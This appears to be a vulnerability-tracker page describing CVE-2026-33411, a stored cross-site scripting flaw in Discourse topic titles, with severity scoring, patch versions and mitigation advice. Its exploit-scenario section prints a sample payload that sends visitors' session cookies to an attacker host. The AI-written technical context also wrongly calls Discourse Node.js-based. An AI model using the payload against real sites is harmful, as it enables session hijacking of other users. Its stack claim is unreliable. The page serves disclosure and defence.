Discourse
CVE-2026-33411
MEDIUM
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N vector indicates network accessibility, low attack complexity, and low privilege requirements (authenticated user), yielding moderate risk with confidentiality and integrity impact limited to a single user's scope. However, this is a stored XSS rather than reflected, meaning the payload persists and affects multiple users who view the malicious topic, significantly increasing real-world impact beyond what CVSS alone suggests. The lack of KEV designation and no reported EPSS data suggest this vulnerability has not yet been actively exploited in the wild or added to known exploited vulnerabilities lists, indicating lower immediate threat. Remediation is straightforward through version updates (patches are available), and the workaround (enforcing Content Security Policy) provides defense-in-depth without requiring immediate patching. From an SSVC perspective, this is automatable if a user can be tricked into clicking a link to a solved topic with a malicious title, but technical impact is limited to session hijacking or credential theft, not system compromise. |
| Exploit ScenarioDerived | An authenticated attacker with topic creation privileges crafts a new topic with a title containing a stored XSS payload such as '<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">' and marks it as solved. When other authenticated users browse the solved posts stream, their browsers execute the injected JavaScript, exfiltrating session cookies or performing actions on their behalf. Since the attack vector is network-based with low complexity and does not require out-of-band user action beyond normal platform usage (viewing the solved posts stream), any user with forum access viewing the topic becomes a victim, making this a high-impact vulnerability despite the moderate CVSS score. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 20, 2026
A stored cross-site scripting (XSS) vulnerability exists in Discourse's solved posts stream feature where unsanitized topic titles can be persisted and executed in the browser context of authenticated users. The vulnerability affects Discourse versions prior to 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, allowing authenticated attackers to inject malicious JavaScript that executes in the browsers of other users viewing the affected topics. While the CVSS score of 5.4 reflects moderate severity with low impact scope and no availability impact, the attack requires user interaction indirectly through viewing a crafted topic title, making real-world exploitation limited to scenarios where attackers have post creation privileges.
RemediationAI
Immediately upgrade Discourse to version 2026.3.0-latest.1, 2026.2.1, or 2026.1.2 or later depending on your current version track, following the official upgrade documentation at the GitHub security advisory (https://github.com/discourse/discourse/security/advisories/GHSA-j3mm-ghh2-83x2). As an interim workaround while patching is being planned, ensure that Content Security Policy (CSP) is enabled in your Discourse configuration and has not been relaxed to include unsafe-inline or overly permissive script-src directives, which would amplify XSS impact. Additionally, monitor topic creation activity for suspicious titles containing script tags or event handlers, and consider restricting topic creation permissions to trusted user groups until patching is complete. After patching, audit the database for any existing malicious topic titles in the solved posts stream and remove or sanitize them as needed.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability represents a classic stored XSS flaw (CWE-79: Improper Neutralization of Input During Web Page Generation) within Discourse's topic rendering pipeline, specifically in the solved posts stream feature. The root cause stems from insufficient input validation and output encoding of topic titles before they are stored in the database and subsequently rendered in the HTML response. Discourse (cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*) is a Node.js-based discussion platform that dynamically generates topic displays; when topic titles containing malicious JavaScript payloads are not properly sanitized during creation or display, the JavaScript executes with the privileges of the viewing user's session. The solved posts stream is a filtered view that aggregates topics marked as solved, making it a concentrated attack surface for XSS injection.
Know when Discourse gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Discourse is an open-source discussion platform. Versions prior to 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 have a potential stored XSS in topic titles for the solved posts stream. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. As a workaround, ensure that the Content Security Policy is enabled, and has not been modified in a way which would make it more vulnerable to XSS attacks.
Executive ViewAI
Organizations using topic titles for the solved posts stream. should be aware of moderate risk from CVE-2026-33411, a cross-site scripting vulnerability rated CVSS 5.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)GitHub Advisory
Discourse versions prior to 3.5.0.beta6 contain a reflected cross-site scripting (XSS) vulnerability in social login fun
discourse-bbcode is the official BBCode plugin for Discourse. Rated critical severity (CVSS 9.8), this vulnerability is
Unauthorized information disclosure in Discourse discussion platform versions prior to 2026.3.0-latest.1, 2026.2.1, and
Discourse is an open source platform for community discussion. Rated high severity (CVSS 8.2), this vulnerability is rem
Discourse versions prior to 2025.12.2, 2026.1.1, and 2026.2.0 contain an insecure direct object reference (IDOR) in the
In Discourse 2.7.0 through beta1, a rate-limit bypass leads to a bypass of the 2FA requirement for certain forms. Rated
Unauthenticated attackers can submit forged webhook payloads to multiple email provider integrations in Discourse versio
Discourse is an open-source discussion platform. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploi
Discourse is an open source platform for community discussion. Rated medium severity (CVSS 5.9), this vulnerability is r
Discourse versions prior to 3.4.4 (stable), 3.5.0.beta5 (beta), and 3.5.0.beta6-dev (tests-passed) contain a critical vu
Discourse is an open source platform for community discussion. Rated critical severity (CVSS 9.8), this vulnerability is
Discourse Patreon enables syncronization between Discourse Groups and Patreon rewards. Rated critical severity (CVSS 9.8
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB